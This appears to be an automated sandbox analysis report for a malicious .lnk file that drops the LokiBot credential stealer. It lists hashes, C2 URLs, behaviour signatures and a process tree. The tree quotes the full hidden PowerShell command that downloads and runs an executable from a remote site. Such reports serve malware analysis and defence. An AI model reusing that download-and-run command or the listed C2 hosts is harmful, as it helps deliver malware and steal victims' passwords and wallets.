Analysis

  • max time kernel
    127s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-08-2024 21:06

General

  • Target

    MalwareBazaar.lnk

  • Size

    2KB

  • MD5

    8d2464bee26f6e3d7c43953cfb3eebae

  • SHA1

    906f5952737b7b6f15abaaaca1a4c22111d39338

  • SHA256

    49b2caa0106ae7c87c555dfc3a919f2c1c4f1074e605b4c220fe3c85e7d2052e

  • SHA512

    5e75b583648ddfe7f34da44d2d4188cd9663e51b5a6f773539d43cf0269ca511a5fd7e922ade8438ea3f7ec5ce6f48cdbd7b2a3cdcdff43fe78ccd61dee7e53e

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe

Extracted

Family

lokibot

C2

http://94.156.66.169:5788/bhvstgd/Panel/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsHeLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2456
      • C:\Users\Admin\AppData\Local\Temp\doubles.exe
        "C:\Users\Admin\AppData\Local\Temp\doubles.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1048
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of UnmapMainImage
          PID:4108
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 12
            5⤵
            • Program crash
            PID:2020
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4108 -ip 4108
    1⤵
      PID:3340

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ijek2wxe.qwd.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\doubles.exe

      Filesize

      367KB

      MD5

      3edc8e31efe97c259c8f2eebbbb4da98

      SHA1

      1692639db61f72b4e1bfa80e4a55bc1cfa8bb129

      SHA256

      eec24916fc0a978ae5cb878efea2c7cd5c0403783e4e7c438a739b6fa8e30703

      SHA512

      65f40b27c53379426e398d6e8ec7e2e64ea836bf4a9871f2aca7c66ef2baba0eb6a512611e935d5a2a3585b56c806d2b0a2ac9dc73cf3f71afa68a34596bae35

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

      Filesize

      46B

      MD5

      d898504a722bff1524134c6ab6a5eaa5

      SHA1

      e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

      SHA256

      878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

      SHA512

      26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

    • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2718105630-359604950-2820636825-1000\0f5007522459c86e95ffcc62f32308f1_32404286-a0b5-4a93-9620-6f13fd83251a

      Filesize

      46B

      MD5

      c07225d4e7d01d31042965f048728a0a

      SHA1

      69d70b340fd9f44c89adb9a2278df84faa9906b7

      SHA256

      8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

      SHA512

      23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

    • memory/320-27-0x0000000006ED0000-0x0000000006F6C000-memory.dmp

      Filesize

      624KB

    • memory/320-28-0x0000000007520000-0x0000000007AC4000-memory.dmp

      Filesize

      5.6MB

    • memory/320-30-0x0000000006F70000-0x0000000006F76000-memory.dmp

      Filesize

      24KB

    • memory/320-24-0x0000000000090000-0x00000000000F4000-memory.dmp

      Filesize

      400KB

    • memory/320-25-0x00000000048D0000-0x00000000048D6000-memory.dmp

      Filesize

      24KB

    • memory/320-26-0x0000000006DD0000-0x0000000006E38000-memory.dmp

      Filesize

      416KB

    • memory/320-29-0x0000000007010000-0x00000000070A2000-memory.dmp

      Filesize

      584KB

    • memory/1048-31-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/1048-34-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/1048-54-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/1048-62-0x0000000000400000-0x00000000004A2000-memory.dmp

      Filesize

      648KB

    • memory/2456-14-0x00007FF96D760000-0x00007FF96E221000-memory.dmp

      Filesize

      10.8MB

    • memory/2456-2-0x00007FF96D763000-0x00007FF96D765000-memory.dmp

      Filesize

      8KB

    • memory/2456-23-0x00007FF96D760000-0x00007FF96E221000-memory.dmp

      Filesize

      10.8MB

    • memory/2456-13-0x00007FF96D760000-0x00007FF96E221000-memory.dmp

      Filesize

      10.8MB

    • memory/2456-12-0x000001956E640000-0x000001956E662000-memory.dmp

      Filesize

      136KB